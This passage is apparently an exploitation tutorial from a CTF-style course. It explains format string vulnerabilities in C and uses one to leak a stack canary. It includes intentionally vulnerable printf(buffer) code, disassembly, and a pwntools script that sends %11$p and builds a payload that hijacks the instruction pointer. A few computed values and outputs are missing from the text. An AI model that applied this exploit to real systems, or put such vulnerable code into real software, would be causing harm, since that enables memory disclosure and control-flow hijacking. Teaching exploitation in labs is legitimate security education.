We arrive at the ultimate challenge of canaries: leaking the value ourselves. This often involves exploiting a secondary vulnerability in a binary: the format string. This dangerous vulnerability, caused by a common developer mistake, can lead to the arbitrary reading and writing of data from any location on the stack.
00
. This is to ensure that if strings do overflow by accident, it acts as a null-terminator to end the string. This provides a small bit of protection for accidental overflows but makes finding canaries much easier.The format string vulnerability is a vulnerability caused when a program uses printf
without correctly ordering the arguments. Correct use of printf
first takes a string containing format specifiers, then subsequent arguments filling each format specifier with a type-matched value.
Here is an example of correct printf
usage:
const char* name = "Hello World!"; printf("name: %s\n", name);
name
is never printed directly; instead, the %s
specifier is used. There are other format specifiers including %d
, %x
, or %p
.
What happens when more specifiers are placed than arguments? Here's an example:
const char* name = "Hello World!"; printf("name: (%s) (%s) (%s)\n", name);
This prints the following:
printf
uses a format string specifier, it requests another parameter to be passed into the function. Depending on the architecture, the binary will then look inside either the next parameter register (x64
), or the top of the stack (x86
) for that parameter. Sometimes this is gibberish, but if we leak enough data, we can almost always leak something important.We'll also show later that this may allow us to write data to a location of our choice. More on this much later.
The true format string vulnerability arises when printf
directly prints our buffer without a format specifier. This code is vulnerable:
char buffer[40]; fgets(buffer, 40, stdin); printf(buffer);
The vulnerability arises when we input format specifiers inside buffer
, which will leak values off the stack. Here's an example:
We see that we're leaking data off the stack! This is the format string vulnerability.
We can make this exploit even more useful by directly deciding what we want to leak. We can use C's %k$x
, where k
represents the k
th argument to print off the stack. Here it is being used properly to demonstrate how it works:
#include <stdio.h> int main() { int x = 4, y = 5; printf("%2$x %1$x\n", x, y); // prints "5 4" return 0; }
We now need to take advantage of this bug. We need to figure out where on the stack the canary lies. Because the canary needs to be near the return pointer to protect against stack smashing, it will always be in the correct direction for us to leak.
We can actually compute where the value is on the stack. Considering our Assembly lessons, we know that in 64-bit architecture, functions utilize registers for the first six parameters and then use the stack starting at the seventh parameter. For a printf
statement, the first parameter is the format string, and %1$x
is the second parameter. Therefore, the first parameter taken from the stack is %6$x
.
Now, we need to determine how far the canary is from where we start writing. This is the same as computing our padding. Based on our disassembly of main()
:
0x0000000000401725 <+500>: lea rax,[rbp-0x30] 0x0000000000401729 <+504>: mov esi,0x48 0x000000000040172e <+509>: mov rdi,rax 0x0000000000401731 <+512>: call 0x401080 <fgets@plt>
We start writing at rbp-0x30
. Now, we must understand how to find a canary. Canaries can be found at the start or end of a function. The start of a function shows this:
0x0000000000401539 <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000401542 <+17>: mov QWORD PTR [rbp-0x8],rax 0x0000000000401546 <+21>: xor eax,eax
This is loading the canary from the global offset fs:0x28
and placing it on the stack at rbp-0x8
. The end of the function shows this:
0x000000000040178e <+605>: mov rdx,QWORD PTR [rbp-0x8] 0x0000000000401792 <+609>: sub rdx,QWORD PTR fs:0x28 0x000000000040179b <+618>: je 0x4017a2 <main+625> 0x000000000040179d <+620>: call 0x401050 <__stack_chk_fail@plt>
This is pulling the value at rbp-0x8
(where the canary should be) and comparing it to the global offset. If they're not equal, it calls stack_chk_fail()
, which crashes the program.
This tells us the canary is at rbp-0x8
. We start writing at rbp-0x30
, meaning we write bytes to reach the canary. To compute the format specifier, we need the number of blocks to write to reach the canary. This is (since each block is 8
bytes long).
The stack starts at parameter 6
. We add the 5
byte distance to reach the canary to yield parameter 11
. We can print this one of two ways: using a long hexadecimal (lx
) or a pointer (p
). Here's a sample of both:
Either way, we get the canary! The canary changes every run, which explains the leaked value being different. The canary does have the 00
byte at the end both times, which helps confirm we were correct.
Writing the payload will be very similar to the last challenge. In this case, I will receive all data before the input, then receive the canary, then send the payload.
This is a good case to use sendlineafter
. Let's use this to send the format string:
p.sendlineafter(b'Enter your name: ', b'%11$p')
Then, we need to receive the canary. This can be done more than one way.
# method 1: using recvuntil p.recvuntil(b'Hello, ') canary = int(p.recv(18).decode(), 16) # using recvline p.recvline() canary = int(p.recvline().decode().split(',')[1], 16)
Then, to create the payload!
payload = b'A' * 40 payload += p64(canary) payload += b'B' * 8 payload += p64(0x40152b)
And just like that, we secure control of the instruction pointer!